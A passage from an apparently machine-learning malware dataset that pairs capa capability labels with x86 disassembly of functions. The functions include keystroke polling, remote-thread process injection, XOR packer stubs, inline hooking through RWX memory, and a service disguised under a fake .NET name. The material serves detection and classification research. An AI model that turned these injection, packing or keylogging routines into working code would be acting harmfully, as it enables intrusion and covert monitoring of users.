joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10087190
Capabilities:
Log keystrokes via polling

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
cmp edx, 3
je 0x100871b7
cmp edx, 2
je 0x100871c5
mov al, 1
cmp edx, 1
jne 0x100871c4
push ecx
call dword [sym.imp.USER32.dll_GetKeyState]
movzx eax, ax
shr eax, 0xf
ret
push ecx
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
setns al
ret
push ecx
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
setne al
ret

Function at 0x10087a90
Capabilities:
Resume thread

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, dword [0x10259d1c]
xor eax, esp
mov dword [esp + 0x10], eax
mov eax, dword [0x1025f590]
test eax, eax
je 0x10087ad4
mov edi, ecx
xor ebx, ebx
mov ebp, 0x14
mov ecx, dword [0x1025f588]
nop word [eax + eax]
mov edx, dword [ecx + ebp]
shr edx, 1
and edx, 1
cmp edx, edi
jne 0x10087adb
inc ebx
add ebp, 0x2c
cmp eax, ebx
jne 0x10087ac0
xor esi, esi
jmp 0x10087b9a
xor eax, eax
test edi, edi
setne al
lea ecx, [esp + 4]
mov edx, 0xffffffff
push eax
call fcn.10087de0
add esp, 4
mov eax, dword [0x1025f590]
xor esi, esi
cmp ebx, eax
jae 0x10087b40
mov ecx, dword [0x1025f588]
jmp 0x10087b18
inc ebx
add ebp, 0x2c
cmp ebx, eax
jae 0x10087b40
mov edx, dword [ecx + ebp]
shr edx, 1
and edx, 1
cmp edx, edi
je 0x10087b10
mov ecx, ebx
mov edx, edi
call fcn.10088150
test eax, eax
jne 0x10087b3e
mov ecx, dword [0x1025f588]
mov eax, dword [0x1025f590]
jmp 0x10087b10
mov esi, eax
mov ebx, dword [esp + 4]
test ebx, ebx
je 0x10087b9a
mov dword [esp], esi
mov ebp, dword [esp + 0xc]
test ebp, ebp
je 0x10087b88
xor esi, esi
jmp 0x10087b65
inc esi
cmp ebp, esi
je 0x10087b88
push dword [ebx + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
test eax, eax
je 0x10087b60
mov edi, eax
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10087b60
push ebx
push 0
push dword [0x1025f584]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp]
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.10155bf1
mov eax, esi
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10088150
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebx, edx
mov eax, dword [0x10259d1c]
xor eax, esp
mov dword [esp + 0xc], eax
mov esi, dword [0x1025f588]
imul ebp, ecx, 0x2c
mov eax, dword [esi + ebp]
movzx ecx, byte [esi + ebp + 0x14]
xor edx, edx
and ecx, 1
sete dl
lea edx, [edx + edx*4]
lea edi, [eax + edx]
add edi, 0xfffffffb
lea eax, [ecx + ecx + 5]
lea ecx, [esp + 8]
push ecx
push 0x40
mov dword [esp + 0xc], eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x100881d1
lea ecx, [esi + ebp]
add ecx, 0x14
test ebx, ebx
mov dword [esp], ecx
je 0x100881d8
mov byte [edi], 0xe9
mov eax, dword [esi + ebp + 4]
sub eax, edi
add eax, 0xfffffffb
mov dword [edi + 1], eax
test byte [ecx], 1
lea edx, [esp + 8]
je 0x100881fc
add esi, ebp
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x100881fc
mov esi, 0xa
jmp 0x10088236
test byte [ecx], 1
lea eax, [esi + ebp + 0xc]
lea edx, [esp + 8]
jne 0x100881f2
movzx ecx, byte [eax + 4]
mov byte [edi + 4], cl
mov eax, dword [eax]
mov dword [edi], eax
jmp 0x100881fc
mov ecx, dword [eax]
mov eax, dword [eax + 3]
mov dword [edi + 3], eax
mov dword [edi], ecx
push edx
push dword [esp + 0xc]
mov esi, dword [esp + 0xc]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, dword [esp]
movzx eax, byte [edx]
and bl, 1
mov ecx, ebx
add cl, bl
and al, 0xf9
or al, cl
shl bl, 2
or bl, al
mov byte [edx], bl
xor esi, esi
mov ecx, dword [esp + 0xc]
xor ecx, esp
call fcn.10155bf1
mov eax, esi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10088270
Capabilities:
Resume thread

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov dword [esp], edx
mov ebx, ecx
mov eax, dword [0x10259d1c]
xor eax, esp
mov dword [esp + 0x10], eax
xor esi, esi
mov ebp, 1
xor eax, eax
lock cmpxchg dword [0x1025f580], ebp
je 0x100882b8
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
cmp esi, 0x20
setae al
push eax
call edi
inc esi
xor eax, eax
lock cmpxchg dword [0x1025f580], ebp
jne 0x100882a0
cmp dword [0x1025f584], 0
je 0x10088301
test ebx, ebx
je 0x1008830b
mov ecx, dword [0x1025f590]
mov esi, 4
test ecx, ecx
je 0x100883a8
mov eax, dword [0x1025f588]
neg ecx
xor ebp, ebp
nop word cs:[eax + eax]
cmp dword [eax], ebx
je 0x1008831a
dec ebp
add eax, 0x2c
cmp ecx, ebp
jne 0x100882f0
jmp 0x100883a8
mov esi, 2
jmp 0x100883a8
mov ecx, dword [esp]
call fcn.10087a90
mov esi, eax
jmp 0x100883a8
cmp ebp, 1
je 0x100883a8
mov eax, dword [eax + 0x14]
shr eax, 1
and eax, 1
mov edi, dword [esp]
cmp eax, edi
jne 0x1008833c
xor esi, esi
cmp edi, 1
adc esi, 5
jmp 0x100883a8
neg ebp
lea ecx, [esp + 4]
mov edx, ebp
push 1
call fcn.10087de0
add esp, 4
mov ecx, ebp
mov edx, edi
call fcn.10088150
mov esi, eax
mov ebx, dword [esp + 4]
test ebx, ebx
je 0x100883a8
mov eax, dword [esp + 0xc]
mov dword [esp], eax
test eax, eax
je 0x10088399
xor ebp, ebp
jmp 0x10088376
inc ebp
cmp dword [esp], ebp
je 0x10088399
push dword [ebx + ebp*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
test eax, eax
je 0x10088370
mov edi, eax
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10088370
push ebx
push 0
push dword [0x1025f584]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
xchg dword [0x1025f580], eax
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.10155bf1
mov eax, esi
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10088a60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x100893b0
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
call sub.MSVCP140.dll__Thrd_hardware_concurrency
mov esi, eax
mov dword [0x1025f5f4], eax
push 0x14
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
add esp, 8
mov dword [0x1025f5f0], eax
test esi, esi
je 0x10088b30
xor esi, esi
xor eax, eax
nop word cs:[eax + eax]
mov ecx, dword [0x1025f5f0]
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ecx + esi + 0xc], eax
mov dword [ebp - 0x10], 0xffffffff
push 0x18
call fcn.10155b8b
add esp, 4
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x20], eax
mov ecx, eax
call fcn.100893d0
mov esi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x24]
lea eax, [ecx + esi]
mov edx, dword [ebp - 0x20]
mov dword [ecx + esi + 4], edx
mov dword [ecx + esi + 8], 0x1025f598
push 0
push 0
push eax
push 0x10088c00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp - 0x28]
inc eax
add esi, 0x14
cmp eax, dword [0x1025f5f4]
jb 0x10088ac0
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10094c90
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [ecx + 0xc]
test ecx, ecx
je 0x10094cd7
mov eax, dword [esi + 0x14]
sub eax, ecx
cmp eax, 0x1000
jb 0x10094cb8
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x10094cfa
add eax, 0x23
mov ecx, edx
push eax
push ecx
call fcn.10155bc0
add esp, 8
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov esi, dword [esi + 8]
test esi, esi
je 0x10094cf8
lock dec dword [esi + 4]
jne 0x10094cf8
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock dec dword [esi + 8]
jne 0x10094cf8
mov eax, dword [esi]
mov ecx, esi
pop esi
jmp dword [eax + 4]
pop esi
ret
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
Function at 0x10127000
Capabilities:
Hash data using fnv

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov ebx, dword [esp + 0x20]
movzx eax, byte [ebx]
xor eax, 0x811c9dc5
imul eax, eax, 0x1000193
movzx edx, byte [ebx + 1]
xor edx, eax
imul eax, edx, 0x1000193
movzx edx, byte [ebx + 2]
xor edx, eax
imul eax, edx, 0x1000193
movzx edx, byte [ebx + 3]
xor edx, eax
imul esi, edx, 0x1000193
and esi, dword [ecx + 0x18]
mov edx, dword [ecx + 4]
mov dword [esp], ecx
mov ecx, dword [ecx + 0xc]
lea edi, [esi + esi]
mov ebp, dword [ecx + edi*4 + 4]
xor eax, eax
mov dword [esp + 8], edx
cmp ebp, edx
je 0x10127111
lea edx, [esi + esi]
inc edx
mov dword [esp + 4], edi
mov esi, dword [ecx + edi*4]
mov edi, dword [ebx]
cmp edi, dword [ebp + 8]
jne 0x1012707c
cmp esi, ebp
je 0x101270ae
mov eax, dword [ebp + 4]
mov dword [ecx + edx*4], eax
jmp 0x101270be
mov ebx, ebp
nop
cmp ebx, esi
je 0x10127111
mov ebx, dword [ebx + 4]
cmp edi, dword [ebx + 8]
jne 0x10127080
cmp ebp, ebx
je 0x101270aa
mov ebp, ebx
cmp esi, ebx
mov edx, dword [esp]
jne 0x101270c1
mov eax, dword [esi]
mov edi, dword [esp + 4]
mov dword [ecx + edi*4], eax
mov ebp, esi
jmp 0x101270c1
cmp esi, ebx
jne 0x10127074
mov eax, dword [esp + 4]
mov esi, edx
mov edx, dword [esp + 8]
mov dword [ecx + eax*4], edx
mov dword [ecx + esi*4], edx
mov edx, dword [esp]
mov eax, dword [ebp]
dec dword [edx + 8]
mov ecx, dword [ebp + 4]
mov dword [ecx], eax
mov ecx, dword [ebp + 4]
mov dword [eax + 4], ecx
mov ecx, dword [ebp + 0x54]
test ecx, ecx
je 0x10127101
mov eax, dword [ebp + 0x5c]
sub eax, ecx
cmp eax, 0x1000
jb 0x101270f7
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x1012711b
add eax, 0x23
mov ecx, edx
push eax
push ecx
call fcn.10155bc0
add esp, 8
push 0x60
push ebp
call fcn.10155bc0
add esp, 8
mov eax, 1
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret 4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x101271f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov ebx, ecx
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x10127a60
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebx], eax
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
mov eax, dword [eax]
movss xmm0, dword [ecx]
mov edx, dword [ebp + 0x18]
mov ecx, dword [ebp + 0x20]
movzx ecx, word [ecx]
mov esi, dword [ebp + 0x24]
mov edi, dword [esi]
mov esi, dword [ebp + 0x1c]
mov byte [ebx + 4], 0
mov dword [ebx + 8], edi
xorps xmm1, xmm1
movups xmmword [ebx + 0xc], xmm1
movups xmmword [ebx + 0x1c], xmm1
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x2c], 0
mov word [ebx + 0x34], cx
lea ecx, [ebx + 4]
movups xmmword [ebx + 0x38], xmm1
mov dword [ebp - 0x20], ebx
movups xmmword [ebx + 0x48], xmm1
mov dword [ebp - 0x10], 0
mov dword [esp + 0xc], eax
movss dword [esp + 8], xmm0
mov dword [esp + 4], edx
mov dword [esp], esi
call fcn.100f0600
sub esp, 0x10
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, dword [ebp - 0x20]
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret 0x20
Function at 0x101569c5
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push 0x101f28a0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.101569a1
pop esi
leave
ret 8
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x5fb112bd
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x78fd114e
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
mov ebx, 0x40915c
nop
mov ecx, 0x63635ee9
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
mov ecx, 0x690d0e22
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x404c79
Capabilities:
Create thread
Inject thread

Disassembly:
push dword [0x431b70]
pop dword [0x431c20]
mov edx, dword [0x431b54]
push dword [0x432344]
call fcn.004133c0
lea ecx, [0x431b40]
pop edx
call fcn.00406000
push dword [0x431b40]
call fcn.004062c0
mov ebx, eax
inc ebx
mov dword [0x431c50], ebx
push dword [0x431c20]
push 0
push 0x1f0fff
call sub.KERNEL32.dll_OpenProcess
mov dword [0x431c1c], eax
cmp dword [0x431c1c], 0
je 0x404e15
push 4
push 0x1000
push dword [0x431c50]
push 0
push dword [0x431c1c]
call sub.KERNEL32.dll_VirtualAllocEx
mov dword [0x431c34], eax
cmp dword [0x431c34], 0
je 0x404e0a
push 0x431b04
push dword [0x431c50]
push dword [0x431b40]
push dword [0x431c34]
push dword [0x431c1c]
call sub.KERNEL32.dll_WriteProcessMemory
mov ebx, dword [0x431b04]
cmp ebx, dword [0x431c50]
jl 0x404dee
push str.Kernel32.dll
push 0
call fcn.00407ac0
and eax, eax
je 0x404dee
push 0x415244
push 0
call fcn.00407b10
mov dword [0x431bcc], eax
push 0
call fcn.00407a40
cmp dword [0x431bcc], 0
je 0x404dee
push 0
push 0
push dword [0x431c34]
push dword [0x431bcc]
push 0
push 0
push dword [0x431c1c]
call sub.KERNEL32.dll_CreateRemoteThread
mov dword [0x431b6c], eax
cmp dword [0x431b6c], 0
je 0x404dee
push 0xffffffff
push dword [0x431b6c]
call sub.KERNEL32.dll_WaitForSingleObject
push 0x431c40
push dword [0x431b6c]
call sub.KERNEL32.dll_GetExitCodeThread
push str.Successful_Injection.
push 0
push 0
call fcn.004068c3
push 0x4000
push dword [0x431c50]
push dword [0x431c34]
push dword [0x431c1c]
call sub.KERNEL32.dll_VirtualFreeEx
push dword [0x431c1c]
call sub.KERNEL32.dll_CloseHandle
push dword [0x431b54]
call fcn.00412a70
mov dword [0x431c40], eax
ret

Function at 0x4072ce
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
cmp dword [ebp + 8], 0
je 0x4072e8
push dword [ebp + 8]
push 0x407260
call sub.USER32.dll_EnumWindows
jmp 0x40731f
mov edi, dword [0x42f0e0]
jmp 0x40731b
mov esi, dword [edi]
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [edi + 8], eax
jne 0x407319
push 1
push dword [edi + 0xc]
call sub.USER32.dll_EnableWindow
mov eax, edi
add eax, 8
push eax
push 0x42f0e0
call fcn.00413320
add esp, 8
mov edi, esi
or edi, edi
jne 0x4072f0
pop edi
pop esi
pop ebp
ret 4
Function at 0x408c70
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp dword [edi + 0x14], 0xca
jne 0x408ca6
push edi
call fcn.004086a4
pop ecx
cmp byte [edi + 0x40], 0
je 0x408c9f
mov dword [edi + 0x14], 0xcf
xor eax, eax
inc eax
jmp 0x408d5b
mov dword [edi + 0x14], 0xcb
cmp dword [edi + 0x14], 0xcb
jne 0x408d2a
mov eax, dword [edi + 0x190]
cmp byte [eax + 0x10], 0
je 0x408d1f
cmp dword [edi + 8], 0
je 0x408ccd
push edi
mov ebx, dword [edi + 8]
call dword [ebx]
pop ecx
push edi
mov esi, dword [edi + 0x190]
call dword [esi]
pop ecx
mov dword [ebp - 4], eax
or eax, eax
je 0x408d5b
cmp dword [ebp - 4], 2
je 0x408d1f
cmp dword [edi + 8], 0
je 0x408cbb
mov eax, dword [ebp - 4]
cmp eax, 3
je 0x408cfc
cmp eax, 1
jne 0x408cbb
mov eax, dword [edi + 8]
add eax, 4
mov edx, dword [eax]
inc edx
mov dword [eax], edx
mov eax, dword [edi + 8]
cmp edx, dword [eax + 8]
jl 0x408cbb
mov eax, dword [edi + 8]
add eax, 8
mov edx, dword [edi + 0x11c]
add dword [eax], edx
jmp 0x408cbb
mov eax, dword [edi + 0x7c]
mov dword [edi + 0x84], eax
jmp 0x408d4f
cmp dword [edi + 0x14], 0xcc
je 0x408d4f
mov eax, dword [edi]
mov dword [eax + 0x14], 0x14
mov eax, dword [edi]
mov edx, dword [edi + 0x14]
mov dword [eax + 0x18], edx
push edi
mov ebx, dword [edi]
call dword [ebx]
pop ecx
push edi
call fcn.00408d60
pop ecx
and eax, 0xff
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408d60
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp dword [edi + 0x14], 0xcc
je 0x408da2
push edi
mov ebx, dword [edi + 0x180]
call dword [ebx]
pop ecx
and dword [edi + 0x78], 0
mov dword [edi + 0x14], 0xcc
jmp 0x408da2
mov eax, dword [edi]
mov dword [eax + 0x14], 0x30
push edi
mov ebx, dword [edi]
call dword [ebx]
pop ecx
mov eax, dword [edi + 0x180]
cmp byte [eax + 8], 0
jne 0x408d8e
xor eax, eax
cmp byte [edi + 0x41], 0
sete al
dec eax
and eax, 1
add eax, 0xcd
mov dword [edi + 0x14], eax
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40d88a
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
and dword [ebx + 4], 0
mov edi, 0x3b9aca00
cmp edi, 0x3b9aca00
je 0x40d8bb
mov eax, dword [ebx]
mov dword [eax + 0x14], 3
push ebx
mov eax, dword [ebx]
call dword [eax]
pop ecx
push ebx
call fcn.0041030d
mov dword [ebp - 4], eax
push 0x54
push ebx
call fcn.004102b0
add esp, 0xc
mov esi, eax
or esi, esi
jne 0x40d8f7
push ebx
call fcn.00410310
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x36
mov eax, dword [ebx]
and dword [eax + 0x18], 0
push ebx
mov eax, dword [ebx]
call dword [eax]
add esp, 8
lea eax, [fcn.0040cc68]
mov dword [esi], eax
lea eax, [fcn.0040cda7]
mov dword [esi + 4], eax
lea eax, [fcn.0040ce56]
mov dword [esi + 8], eax
lea eax, [fcn.0040cf2a]
mov dword [esi + 0xc], eax
lea eax, [0x40d00b]
mov dword [esi + 0x10], eax
lea eax, [0x40d078]
mov dword [esi + 0x14], eax
lea eax, [0x40d0e5]
mov dword [esi + 0x18], eax
lea eax, [0x40d483]
mov dword [esi + 0x1c], eax
lea eax, [0x40d5d3]
mov dword [esi + 0x20], eax
lea eax, [fcn.0040d72a]
mov dword [esi + 0x24], eax
lea eax, [0x40d856]
mov dword [esi + 0x28], eax
mov dword [esi + 0x30], 0x3b9aca00
mov eax, dword [ebp - 4]
mov dword [esi + 0x2c], eax
xor edi, edi
inc edi
and dword [esi + edi*4 + 0x34], 0
and dword [esi + edi*4 + 0x3c], 0
dec edi
jge 0x40d969
and dword [esi + 0x44], 0
and dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0x54
mov dword [ebx + 4], esi
push str.JPEGMEM
call sub.MSVCRT.dll_getenv
pop ecx
mov dword [ebp - 8], eax
or eax, eax
je 0x40d9d9
mov byte [ebp - 9], 0x78
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 4]
push eax
push str._ld_c
push dword [ebp - 8]
call sub.MSVCRT.dll_sscanf
add esp, 0x10
or eax, eax
jle 0x40d9d9
mov al, byte [ebp - 9]
cmp al, 0x6d
je 0x40d9c5
cmp al, 0x4d
jne 0x40d9cf
imul eax, dword [ebp - 4], 0x3e8
mov dword [ebp - 4], eax
imul eax, dword [ebp - 4], 0x3e8
mov dword [esi + 0x2c], eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41291a
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
push 9
call sub.USER32.dll_GetKeyState
mov edi, eax
movsx edi, di
test di, 0x80
je 0x4129b3
push 0x11
call sub.USER32.dll_GetKeyState
mov edi, eax
movsx edi, di
test di, 0x80
jne 0x4129b3
push 0x10
call sub.USER32.dll_GetKeyState
mov edi, eax
movsx edi, di
test di, 0x80
jne 0x4129b3
push 0x12
call sub.USER32.dll_GetKeyState
mov edi, eax
movsx edi, di
test di, 0x80
jne 0x4129b3
call sub.USER32.dll_GetFocus
push 5
lea edi, [ebp - 0xd]
push edi
push eax
call sub.USER32.dll_GetClassNameA
push 4
push str.Rich
lea eax, [ebp - 0xd]
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
or eax, eax
jne 0x4129b3
call sub.USER32.dll_GetFocus
push 0
push 0
push 0x44e
push eax
call sub.USER32.dll_SendMessageA
test ax, 0x800
jne 0x4129b3
xor eax, eax
jmp 0x4129de
push str.PB_WindowID
push dword [ebp + 8]
call sub.USER32.dll_GetPropA
mov dword [ebp - 4], eax
or eax, eax
je 0x4129dc
dec eax
push eax
push dword [0x432540]
call fcn.004130f2
mov dword [ebp - 8], eax
mov eax, dword [eax + 0xc]
jmp 0x4129de
xor eax, eax
pop edi
leave
ret 4

Function at 0x412a80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
and dword [ebp - 4], 0
cmp dword [edi + 0x14], 0
jne 0x412aaf
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [edi + 8]
sub eax, dword [edi + 0xc]
push eax
push dword [edi + 4]
push dword [edi]
call sub.KERNEL32.dll_WriteFile
mov eax, dword [edi + 8]
mov dword [edi + 0xc], eax
mov eax, dword [ebp - 4]
pop edi
leave
ret 4